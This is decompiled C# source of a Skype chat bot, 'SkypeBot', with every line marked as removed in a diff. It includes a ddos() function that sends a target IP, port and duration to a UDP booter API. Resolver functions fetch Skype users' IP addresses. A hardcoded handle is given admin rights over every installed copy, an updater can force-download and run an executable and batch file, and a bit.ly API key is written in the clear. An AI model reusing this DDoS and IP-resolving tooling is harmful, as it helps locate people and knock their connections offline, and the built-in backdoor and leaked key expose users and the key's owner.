- arg_4522_0.Size = size;
- this.FlatTextBox3.TabIndex = 0;
- this.FlatTextBox3.TextAlign = HorizontalAlignment.Left;
- this.FlatTextBox3.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTextBox3.UseSystemPasswordChar = false;
- this.Button10.BackColor = Color.Transparent;
- this.Button10.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button10.Cursor = Cursors.Hand;
- this.Button10.Font = new Font("Segoe UI", 12f);
- Control arg_45D8_0 = this.Button10;
- location = new Point(630, 4);
- arg_45D8_0.Location = location;
- this.Button10.Name = "Button10";
- this.Button10.Rounded = false;
- Control arg_4610_0 = this.Button10;
- size = new Size(60, 33);
- arg_4610_0.Size = size;
- this.Button10.TabIndex = 16;
- this.Button10.Text = "| Help |";
- this.Button10.TextColor = Color.FromArgb(211, 211, 211);
- this.NFI.ContextMenuStrip = this.FlatContextMenuStrip1;
- this.NFI.Icon = (Icon)componentResourceManager.GetObject("NFI.Icon");
- this.NFI.Text = "SkypeBot";
- this.NFI.Visible = true;
- this.FlatContextMenuStrip1.Font = new Font("Segoe UI", 8f);
- this.FlatContextMenuStrip1.ForeColor = Color.White;
- this.FlatContextMenuStrip1.Items.AddRange(new ToolStripItem[]
- {
- this.ShowHideToolStripMenuItem1,
- this.ExitToolStripMenuItem1
- });
- this.FlatContextMenuStrip1.Name = "FlatContextMenuStrip1";
- this.FlatContextMenuStrip1.ShowImageMargin = false;
- Control arg_4730_0 = this.FlatContextMenuStrip1;
- size = new Size(107, 48);
- arg_4730_0.Size = size;
- this.ShowHideToolStripMenuItem1.Name = "ShowHideToolStripMenuItem1";
- ToolStripItem arg_475B_0 = this.ShowHideToolStripMenuItem1;
- size = new Size(106, 22);
- arg_475B_0.Size = size;
- this.ShowHideToolStripMenuItem1.Text = "Show/Hide";
- this.ExitToolStripMenuItem1.Name = "ExitToolStripMenuItem1";
- ToolStripItem arg_4797_0 = this.ExitToolStripMenuItem1;
- size = new Size(106, 22);
- arg_4797_0.Size = size;
- this.ExitToolStripMenuItem1.Text = "Exit";
- SizeF autoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleDimensions = autoScaleDimensions;
- this.AutoScaleMode = AutoScaleMode.Font;
- size = new Size(759, 611);
- this.ClientSize = size;
- this.Controls.Add(this.FormSkin1);
- this.FormBorderStyle = FormBorderStyle.None;
- this.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");
- this.Name = "Form1";
- this.StartPosition = FormStartPosition.CenterScreen;
- this.Text = "SkypeBot";
- this.TransparencyKey = Color.Fuchsia;
- this.FormSkin1.ResumeLayout(false);
- this.FormSkin1.PerformLayout();
- this.FlatTabControl1.ResumeLayout(false);
- this.Settings.ResumeLayout(false);
- this.Settings.PerformLayout();
- ((ISupportInitialize)this.FlatNumeric1).EndInit();
- this.FlatGroupBox2.ResumeLayout(false);
- this.GroupBox1.ResumeLayout(false);
- this.GroupBox1.PerformLayout();
- this.FlatGroupBox1.ResumeLayout(false);
- this.Log.ResumeLayout(false);
- this.Admins.ResumeLayout(false);
- this.Panel1.ResumeLayout(false);
- this.Panel1.PerformLayout();
- this.IPWhitelist.ResumeLayout(false);
- this.IPWhitelist.PerformLayout();
- this.TabPage1.ResumeLayout(false);
- this.TabPage1.PerformLayout();
- this.TabPage2.ResumeLayout(false);
- this.TabPage2.PerformLayout();
- this.FlatContextMenuStrip1.ResumeLayout(false);
- this.ResumeLayout(false);
- }
- public void AddSwagToMSG(ChatMessage msg, string message, int timeout = 0)
- {
- bool flag = timeout == 0;
- if (flag)
- {
- timeout = Convert.ToInt32(this.FlatNumeric1.Value);
- }
- flag = (-(this.swag > false) | this.swag == Conversions.ToBoolean("1"));
- checked
- {
- if (flag)
- {
- string text = "_";
- string[] array = message.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.RemoveEmptyEntries);
- msg.Body = text;
- int arg_87_0 = 0;
- int num = array.Length - 1;
- int num2 = arg_87_0;
- while (true)
- {
- int arg_183_0 = num2;
- int num3 = num;
- if (arg_183_0 > num3)
- {
- break;
- }
- string[] array2 = array[num2].Split(new char[]
- {
- ' '
- });
- int arg_AE_0 = 0;
- int num4 = array2.Length - 1;
- int num5 = arg_AE_0;
- while (true)
- {
- int arg_142_0 = num5;
- num3 = num4;
- if (arg_142_0 > num3)
- {
- break;
- }
- char[] array3 = array2[num5].ToCharArray();
- int arg_C9_0 = 0;
- int num6 = array3.Length - 1;
- int num7 = arg_C9_0;
- while (true)
- {
- int arg_10B_0 = num7;
- num3 = num6;
- if (arg_10B_0 > num3)
- {
- break;
- }
- Thread.Sleep(timeout);
- msg.Body = msg.Body.Replace(text, "") + Conversions.ToString(array3[num7]) + text;
- num7++;
- }
- msg.Body = msg.Body.Replace("_", "") + " _";
- num5++;
- }
- msg.Body = (msg.Body + "\r\n").Replace("_", "") + " _";
- num2++;
- }
- msg.Body = msg.Body.Replace("_", "");
- msg.Body = message;
- }
- else
- {
- msg.Body = message;
- }
- }
- }
- public object ddos(string ip, int port, int time)
- {
- while (true)
- {
- VBMath.Randomize();
- int num = checked((int)Math.Round((double)Conversion.Int(unchecked(VBMath.Rnd() * 3f))));
- bool flag = num == 3 | num == 0;
- if (!flag)
- {
- flag = (num == 1);
- if (flag)
- {
- break;
- }
- flag = (num == 2);
- if (flag)
- {
- goto Block_2;
- }
- }
- }
- object result = this.WBDL(this.api.Replace("[ip]", ip).Replace("[time]", Conversions.ToString(time)).Replace("[port]", Conversions.ToString(port)));
- return result;
- Block_2:
- result = this.WBDL(this.api.Replace("[ip]", ip).Replace("[time]", Conversions.ToString(time)).Replace("[port]", Conversions.ToString(port)));
- return result;
- }
- public object WBDL(string apiz)
- {
- WebBrowser webBrowser = new WebBrowser();
- this.WebBrowser1.Navigate(apiz);
- return webBrowser.DocumentText;
- }
- public static bool CheckForInternetConnection()
- {
- bool result;
- try
- {
- WebClient webClient = new WebClient();
- try
- {
- result = true;
- }
- finally
- {
- bool flag = webClient != null;
- if (flag)
- {
- ((IDisposable)webClient).Dispose();
- }
- }
- }
- catch (Exception arg_28_0)
- {
- ProjectData.SetProjectError(arg_28_0);
- result = false;
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public void AI1(ChatMessage msg)
- {
- bool flag = Operators.CompareString(msg.Body, "", true) == 0;
- if (!flag)
- {
- ChatMessage chatMessage = msg.Chat.SendMessage("Thinking...");
- string text = this.AISession.Think(msg.Body.Remove(0, 1));
- text = this.StripTags(text);
- flag = text.ToLower().Contains("To use my calculator, click here!".ToLower());
- if (flag)
- {
- text = "To use my calculator, use !calc";
- }
- chatMessage.Body = text;
- }
- }
- public void AI2(ChatMessage msg)
- {
- bool flag = Operators.CompareString(msg.Body, "", true) == 0;
- if (!flag)
- {
- ChatMessage chatMessage = msg.Chat.SendMessage("Thinking...");
- string address = "http://steambot.ga/api/ai.php?msg=" + msg.Body.Remove(0, 1);
- string input = new WebClient
- {
- Proxy = null
- }.DownloadString(address);
- string body = Regex.Match(input, "(.+)string\\(", RegexOptions.IgnoreCase).Value.ToString().Replace("string(", "");
- chatMessage.Body = body;
- }
- }
- public void UpdateMe(string state)
- {
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- bool flag = Form1.CheckForInternetConnection();
- if (!flag)
- {
- Interaction.MsgBox("Fix your internet connection before moving on!", MsgBoxStyle.OkOnly, null);
- this.Close();
- Application.Exit();
- Application.ExitThread();
- }
- string left = webClient.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
- flag = (Operators.CompareString(left, "5.1.0.7", true) == 0);
- if (flag)
- {
- bool flag2 = Conversions.ToDouble(state) == 1.0;
- if (flag2)
- {
- Interaction.MsgBox("No update needed!", MsgBoxStyle.OkOnly, null);
- }
- }
- else
- {
- bool flag2 = Operators.CompareString(webClient.DownloadString("https://www.dropbox.com/s/fz39p2eqwrccid3/force.txt?dl=1"), "1", true) == 0;
- if (flag2)
- {
- webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
- webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
- Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
- Application.Exit();
- }
- else
- {
- MsgBoxResult msgBoxResult = Interaction.MsgBox("New update is ready to download, download it now?", MsgBoxStyle.YesNo, null);
- flag2 = (msgBoxResult == MsgBoxResult.Yes);
- if (flag2)
- {
- webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
- webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
- Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
- Application.Exit();
- }
- }
- }
- }
- public object shorten(string urltoshrt)
- {
- bool flag = !urltoshrt.StartsWith("http");
- if (flag)
- {
- urltoshrt = "http://" + urltoshrt;
- }
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- WebClient webClient2 = new WebClient();
- webClient2.Proxy = null;
- string arg = "o_1v99833eui";
- string arg2 = "R_652033905dccf303504cecd3c2762d64";
- string arg3 = WebUtility.UrlEncode(urltoshrt);
- string address = string.Format("http://api.bit.ly/v3/shorten?login={0}&apiKey={1}&longUrl={2}&format=txt", arg, arg2, arg3);
- return webClient2.DownloadString(address);
- }
- public void attach()
- {
- try
- {
- bool isRunning = this.Skypattach.Client.IsRunning;
- if (!isRunning)
- {
- this.Skypattach.Client.Start(false, false);
- }
- this.Skypattach.Attach(5, -1 != 0);
- new ComAwareEventInfo(typeof(_ISkypeEvents_Event), "UserAuthorizationRequestReceived").AddEventHandler(this.Skypattach, new _ISkypeEvents_UserAuthorizationRequestReceivedEventHandler(this, (UIntPtr)ldvirtftn(FRReceived)));
- new ComAwareEventInfo(typeof(_ISkypeEvents_Event), "MessageStatus").AddEventHandler(this.Skypattach, new _ISkypeEvents_MessageStatusEventHandler(this, (UIntPtr)ldvirtftn(MSGStatus)));
- }
- catch (Exception arg_96_0)
- {
- ProjectData.SetProjectError(arg_96_0);
- try
- {
- this.Skypattach.Attach(5, -1 != 0);
- }
- catch (Exception expr_AD)
- {
- ProjectData.SetProjectError(expr_AD);
- Interaction.MsgBox("Couldn't attach to skype, make sure skype is running and you clicked 'allow'!", MsgBoxStyle.OkOnly, null);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- }
- public object youtube(string url)
- {
- object result;
- try
- {
- url = url.Replace("http://", "").Replace("https://", "").Replace("www.", "");
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- string strtemp = Regex.Match(Encoding.ASCII.GetString(webClient.DownloadData("http://youtube.com/watch?v=" + Convert.ToString(url))), "\\<title\\b[^>]*\\>\\s*(?<Title>[\\s\\S]*?)\\</title\\>", RegexOptions.IgnoreCase).Groups["Title"].Value.ToString().Replace(" - YouTube", "").Replace("'", "").Replace("/", "").Replace("!", "");
- result = this.Decodehtml(strtemp);
- }
- catch (Exception arg_CD_0)
- {
- ProjectData.SetProjectError(arg_CD_0);
- result = "Don't even try to crash the bot!";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public object Decodehtml(string strtemp)
- {
- strtemp = Strings.Replace(strtemp, """, "\"", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "&", "&", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "'", "'", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "<", "<", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, ">", ">", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, " ", "", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¡", "¡", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¢", "¢", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "£", "£", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¤", "¤", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¥", "¥", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¦", "¦", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "§", "§", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¨", "¨", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "©", "©", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ª", "ª", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "«", "«", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¬", "¬", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "*", "", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "®", "®", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¯", "¯", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "°", "°", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "±", "±", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "²", "²", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "³", "³", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "´", "´", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "µ", "µ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¶", "¶", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "·", "·", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¸", "¸", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¹", "¹", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "º", "º", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "»", "»", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¼", "¼", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "½", "½", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¾", "¾", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "¿", "¿", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "À", "À", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Á", "Á", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Â", "Â", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ã", "Ã", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ä", "Ä", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Å", "Å", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Æ", "Æ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ç", "Ç", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "È", "È", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "É", "É", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ê", "Ê", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ë", "Ë", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ì", "Ì", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Í", "Í", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Î", "Î", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ï", "Ï", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ð", "Ð", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ñ", "Ñ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ò", "Ò", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ó", "Ó", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ô", "Ô", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Õ", "Õ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ö", "Ö", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "×", "×", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ø", "Ø", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ù", "Ù", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ú", "Ú", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Û", "Û", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ü", "Ü", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ý", "Ý", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Þ", "Þ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ß", "ß", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "à", "à", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "á", "á", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "â", "â", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ã", "ã", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ä", "ä", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "å", "å", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "æ", "æ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ç", "ç", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "è", "è", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "é", "é", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ê", "ê", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ë", "ë", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ì", "ì", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "í", "í", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "î", "î", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ï", "ï", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ð", "ð", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ñ", "ñ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ò", "ò", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ó", "ó", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ô", "ô", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "õ", "õ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ö", "ö", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "÷", "÷", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ø", "ø", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ù", "ù", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ú", "ú", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "û", "û", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ü", "ü", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ý", "ý", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "þ", "þ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ÿ", "ÿ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Œ", "Œ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "œ", "œ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Š", "Š", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "š", "š", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "Ÿ", "Ÿ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ƒ", "ƒ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "ˆ", "ˆ", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "˜", "˜", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, " ", "", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‌", "", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‍", "", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‎", "", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‏", "", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "–", "–", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "—", "—", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‘", "‘", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "’", "’", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‚", "‚", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "“", "\"", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "”", "\"", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "„", "„", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "†", "†", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‡", "‡", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "•", "•", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "…", "…", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‰", "‰", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "‹", "‹", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "›", "›", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "€", "€", 1, -1, CompareMethod.Text);
- strtemp = Strings.Replace(strtemp, "™", "™", 1, -1, CompareMethod.Text);
- return strtemp;
- }
- private void MSGStatus(ChatMessage msg, TChatMessageStatus status)
- {
- bool flag = !this.launched;
- if (!flag)
- {
- try
- {
- flag = (status == TChatMessageStatus.cmsSending | status == TChatMessageStatus.cmsReceived);
- if (flag)
- {
- flag = (msg.Body.Contains("youtube.com/watch?v=") || msg.Body.Contains("youtu.be/"));
- if (flag)
- {
- string text = msg.Body.Replace("www.", "");
- try
- {
- string text2 = text.Contains("watch?v=") ? text.Replace("watch?v=", string.Empty) : text;
- char[] separator = "/".ToCharArray();
- string[] b = text2.Split(separator);
- Thread thread = new Thread(delegate
- {
- msg.Chat.SendMessage(Conversions.ToString(this.youtube(b[checked(b.Length - 1)])));
- });
- thread.Start();
- }
- catch (Exception expr_101)
- {
- ProjectData.SetProjectError(expr_101);
- Exception ex = expr_101;
- msg.Chat.SendMessage(ex.ToString());
- ProjectData.ClearProjectError();
- }
- }
- flag = (msg.Body.IndexOf("@") == 0);
- if (flag)
- {
- Thread thread2 = new Thread(delegate
- {
- this.AI1(msg);
- });
- thread2.SetApartmentState(ApartmentState.STA);
- thread2.Start();
- }
- flag = (msg.Body.IndexOf("#") == 0);
- if (flag)
- {
- Thread thread3 = new Thread(delegate
- {
- this.AI2(msg);
- });
- thread3.SetApartmentState(ApartmentState.STA);
- thread3.Start();
- }
- flag = (msg.Body.IndexOf(this.trigger) == 0);
- if (flag)
- {
- Thread thread4 = new Thread(delegate
- {
- this.processcommand(msg);
- });
- thread4.SetApartmentState(ApartmentState.STA);
- thread4.Start();
- }
- }
- }
- catch (Exception expr_1FD)
- {
- ProjectData.SetProjectError(expr_1FD);
- Exception ex2 = expr_1FD;
- ChatMessage msg2 = msg.Chat.SendMessage("An error occured while giving you an error!");
- this.AddSwagToMSG(msg2, Conversions.ToString(Operators.ConcatenateObject("An error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
- {
- "Host: ",
- this.Skypattach.CurrentUserHandle,
- "\r\nSender: ",
- msg.Sender.Handle,
- "\r\nCmd: ",
- msg.Body,
- "\r\nError: ",
- ex2.ToString()
- }), "Error!"))), 0);
- ProjectData.ClearProjectError();
- }
- }
- }
- public object Resolve1(string skype)
- {
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- object result;
- try
- {
- string text = webClient.DownloadString(this.resapi + skype);
- bool flag = text.Contains("API2");
- if (flag)
- {
- result = "IP Not found.";
- }
- else
- {
- result = text.Replace("\r\n", "").Replace(" ", "").Replace(Environment.NewLine, "").Replace("\r", "").Replace("\n", "");
- }
- }
- catch (Exception arg_8F_0)
- {
- ProjectData.SetProjectError(arg_8F_0);
- result = "error";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public object Resolve2(string skype)
- {
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- object result;
- try
- {
- string text = webClient.DownloadString(this.resapi2 + skype);
- result = text;
- }
- catch (Exception arg_29_0)
- {
- ProjectData.SetProjectError(arg_29_0);
- result = "error";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public object Cached(string skype)
- {
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- object result;
- try
- {
- string text = webClient.DownloadString(this.cacheapi + skype).Replace(" ", "").Replace("[", "").Replace("]", "").Replace("][", " ").Replace(" ", " ").Replace(" - ", " ").Replace(",", "");
- string[] array = text.Split(new char[]
- {
- ' '
- });
- bool flag = this.IsIpValid(array[0]);
- if (flag)
- {
- result = text;
- }
- else
- {
- result = "IP Not found.";
- }
- }
- catch (Exception arg_C7_0)
- {
- ProjectData.SetProjectError(arg_C7_0);
- result = "error";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public void processcommand(ChatMessage msg)
- {
- Form1._Closure$__3 closure$__ = new Form1._Closure$__3(closure$__);
- closure$__.$VB$Local_msg = msg;
- closure$__.$VB$Me = this;
- checked
- {
- try
- {
- this.api = "http://netpunch.xyz/out/api.php?host=[ip]&key=KEYGOESHERE&port=[port]&time=[time]&method=UDP";
- this.ddosapi2 = "http://netpunch.xyz/out/api.php?host=[ip]&key=KEYGOESHERE&port=[port]&time=[time]&method=UDP";
- bool flag = Operators.CompareString(closure$__.$VB$Local_msg.ChatName, "#luigi-7.7.99-/$mrfluffypancake;7845dca0296eabeb", true) == 0;
- if (!flag)
- {
- flag = (Operators.CompareString(closure$__.$VB$Local_msg.Sender.Handle, this.Skypattach.CurrentUserHandle, true) == 0 | Operators.CompareString(closure$__.$VB$Local_msg.Sender.Handle, "les.de", true) == 0);
- if (!flag)
- {
- string[] array = this.TextBox3.Text.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.None);
- flag = (Operators.CompareString(array[0], "%everyone%", true) == 0);
- if (!flag)
- {
- int arg_FC_0 = 0;
- int num = array.Length - 1;
- int num2 = arg_FC_0;
- int arg_13C_0 = num2;
- int num3 = num;
- if (arg_13C_0 <= num3)
- {
- flag = array[num2].Contains(closure$__.$VB$Local_msg.Sender.Handle);
- if (flag)
- {
- goto IL_145;
- }
- }
- return;
- }
- }
- IL_145:
- flag = (this.lockst == 1);
- bool flag2;
- if (flag)
- {
- flag2 = Conversions.ToBoolean(this.IsAdmin(closure$__.$VB$Local_msg.Sender.Handle));
- if (!flag2)
- {
- return;
- }
- }
- string text = closure$__.$VB$Local_msg.Body.Remove(0, this.trigger.Length);
- flag2 = (Operators.CompareString(text, "admin", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "admin <help/parameters>");
- }
- flag2 = text.StartsWith("admin ");
- if (flag2)
- {
- flag = (Operators.CompareString(closure$__.$VB$Local_msg.Sender.Handle, "les.de", true) == 0);
- if (!flag)
- {
- flag2 = Operators.ConditionalCompareObjectEqual(this.IsAdmin(closure$__.$VB$Local_msg.Sender.Handle), true, true);
- if (!flag2)
- {
- return;
- }
- }
- string text2 = text.Replace("admin ", "");
- flag2 = (Operators.CompareString(text2, "help", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.adminhlp);
- }
- flag2 = (Operators.CompareString(text2, "stopallcmds", true) == 0);
- if (flag2)
- {
- ChatMessage msg2 = closure$__.$VB$Local_msg.Chat.SendMessage("Stopping commands...");
- try
- {
- IEnumerator enumerator = Process.GetCurrentProcess().Threads.GetEnumerator();
- while (enumerator.MoveNext())
- {
- Thread thread = (Thread)enumerator.Current;
- thread.Abort();
- }
- }
- finally
- {
- IEnumerator enumerator;
- flag2 = (enumerator is IDisposable);
- if (flag2)
- {
- (enumerator as IDisposable).Dispose();
- }
- }
- this.AddSwagToMSG(msg2, "All commands should be stopped!", 0);
- }
- flag2 = (Operators.CompareString(text2, "resetgamedata", true) == 0);
- if (flag2)
- {
- ChatMessage msg3 = closure$__.$VB$Local_msg.Chat.SendMessage("Resetting...");
- MySettingsProperty.Settings.gamedat = "jezus|0|0;";
- this.AddSwagToMSG(msg3, "Resetted!", 0);
- }
